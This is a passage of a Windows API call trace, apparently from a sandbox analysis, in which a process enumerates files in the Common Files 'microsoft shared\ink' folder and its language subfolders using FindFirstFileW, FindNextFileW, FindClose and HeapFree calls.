nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0136.150] FindClose (in: hFindFile=0x69b0c8 | out: hFindFile=0x69b0c8) returned 1 [0136.178] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.178] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0136.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ae08 [0136.179] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.180] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0136.180] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0136.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69af48 [0136.181] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.181] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.181] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.184] FindClose (in: hFindFile=0x69af48 | out: hFindFile=0x69af48) returned 1 [0136.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.184] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0136.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0136.185] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.185] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.185] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.185] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0136.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.185] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0136.185] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0136.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0136.185] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.185] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.185] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.185] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0136.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.185] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0136.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0136.186] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.186] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.186] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.186] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0136.186] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.186] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0136.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69afc8 [0136.187] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.187] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.187] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.189] FindClose (in: hFindFile=0x69afc8 | out: hFindFile=0x69afc8) returned 1 [0136.189] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.189] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0136.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b0c8 [0136.189] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.189] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.189] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.189] FindClose (in: hFindFile=0x69b0c8 | out: hFindFile=0x69b0c8) returned 1 [0136.190] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.190] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0136.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0136.190] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.190] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.190] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.190] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0136.190] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.190] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0136.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, 